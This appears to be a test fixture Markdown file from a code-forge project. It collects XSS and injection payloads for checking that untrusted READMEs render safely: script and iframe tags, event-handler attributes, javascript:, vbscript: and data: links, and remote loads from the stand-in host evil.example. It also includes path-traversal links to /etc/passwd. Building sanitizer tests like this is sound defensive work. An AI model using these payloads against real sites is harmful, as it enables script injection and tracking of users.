interplane-forge
INTERPLANE Forge
Brought by drakestapleton
interplane-forge / browse / tests / md / hostile.md
| 1 | # Hostile README |
| 2 | |
| 3 | A brought repository is untrusted. Every line below tries to run code, load something from another host or hide where a link goes. |
| 4 | |
| 5 | <script>alert(1)</script> |
| 6 | <SCRIPT SRC=//evil.example/x.js></SCRIPT> |
| 7 | <iframe src="https://evil.example/frame"></iframe> |
| 8 | <frame src="https://evil.example/frame"> |
| 9 | <object data="https://evil.example/x.swf"></object> |
| 10 | <embed src="https://evil.example/x.swf"> |
| 11 | <svg onload=alert(1)><circle r="1"/></svg> |
| 12 | <img src="https://evil.example/track.gif" onerror="alert(1)"> |
| 13 | <a href="javascript:alert(1)" onclick="alert(1)">raw link</a> |
| 14 | <style>body{display:none}</style> |
| 15 | <link rel="stylesheet" href="https://evil.example/x.css"> |
| 16 | <meta http-equiv="refresh" content="0;url=https://evil.example/"> |
| 17 | <base href="https://evil.example/"> |
| 18 | <form action="https://evil.example/"><input name="x"></form> |
| 19 | <details open ontoggle=alert(1)>x</details> |
| 20 | <p onmouseover="alert(1)">paragraph</p> |
| 21 | |
| 22 |  |
| 23 |  |
| 24 |  |
| 25 | ) |
| 26 | ![by reference][evilimg] |
| 27 | [](https://evil.example/ci) |
| 28 | |
| 29 | [evilimg]: https://evil.example/ref.png |
| 30 | |
| 31 | [js](javascript:alert(1)) [JS](JAVASCRIPT:alert(1)) [ent](javascript:alert(1)) [vb](vbscript:msgbox(1)) [data](data:text/html,<script>alert(1)</script>) [file](file:///etc/passwd) |
| 32 | |
| 33 | [out](https://evil.example/page) <https://evil.example/auto> https://evil.example/bare [mail](mailto:x@evil.example) [pr](//evil.example/protocol-relative) |
| 34 | |
| 35 | [quote](https://evil.example/"onmouseover="alert(1)) [title](https://evil.example "x\" onmouseover=\"alert(1)") |
| 36 | |
| 37 | [local](guide.md)  [up](../../../../etc/passwd) [anchor](#hostile-readme) |
| 38 | |
| 39 | <!-- <script>alert(1)</script> --> |
| 40 | |
| 41 | Inline `<script>alert(1)</script>` code. |
| 42 | |
| 43 | <iframe src="https://evil.example/indented"></iframe> |
| 44 | |
| 45 | ```html |
| 46 | <script src="https://evil.example/fenced.js"></script> |
| 47 | ``` |
| 48 | |
| 49 | | cell | other | |
| 50 | |---|---| |
| 51 | | <script>alert(1)</script> | [x](javascript:alert(1)) | |
| 52 | | <img src=x onerror=alert(1)> |  | |